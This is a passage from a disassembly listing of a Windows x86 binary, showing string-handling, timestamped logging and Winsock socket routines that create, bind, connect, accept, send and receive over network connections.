[esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D8085 call sub_401118 retn sub_419A70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E3C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE3C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E3C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE3C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27C0000h mov edi, dword_511B08 mov esi, offset dword_50CE3C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E3C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E3C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx call near ptr 77C47C60h nop mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5F74D1 add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx call sub_5F74D1 nop add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02B5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E25 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01BBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5F74D1 mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F74D1 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8745 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02B5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D864Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5F74D1 mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5F74D1 add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DB08 test eax, eax jnz short loc_41A148 mov eax, dword_50DB08 inc eax mov dword_50DB08, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DB08 inc edx mov dword_50DB08, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F40 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DB08 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DB08 dec eax mov dword_50DB08, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DB08 dec ecx mov dword_50DB08, ecx jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- dd 9090907Bh, 2 dup(90909090h), 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DB4 retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A4AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax nop call near ptr 71AB9639h loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F40 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_402108j arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A990 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A9C0 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AB24 mov al, [esi+80Bh] test al, al jz loc_41AB24 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AABC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AABC call sub_40196A test al, al jz loc_41AABC loc_41AA1B: ; CODE XREF: sub_41A9C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AB24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41AAAF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AB24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AABC loc_41AAAF: ; CODE XREF: sub_41A9C0+BCj call sub_40196A test al, al jnz loc_41AA1B loc_41AABC: ; CODE XREF: sub_41A9C0+39j ; sub_41A9C0+48j ... call sub_40196A test al, al jz short loc_41AB24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAF1 mov [ecx], eax loc_41AAF1: ; CODE XREF: sub_41A9C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AB09 test eax, eax jz short loc_41AB09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB09: ; CODE XREF: sub_41A9C0+134j ; sub_41A9C0+138j call near ptr 71AB94DCh nop pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AB24: ; CODE XREF: sub_41A9C0+13j ; sub_41A9C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A9C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABA0: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABD2 mov [ecx], eax loc_41ABD2: ; CODE XREF: ___:0041ABCEj cmp eax, 0FFFFFFFFh jz short loc_41ABE0 test eax, eax jz short loc_41ABE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABE0: ; CODE XREF: ___:0041ABD5j ; ___:0041ABD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABF1: ; CODE XREF: ___:0041ABA9j ; ___:0041ABB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC20: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC3C: ; CODE XREF: ___:0041AC32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC52 loc_41AC48: ; CODE XREF: ___:0041AC8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC52: ; CODE XREF: 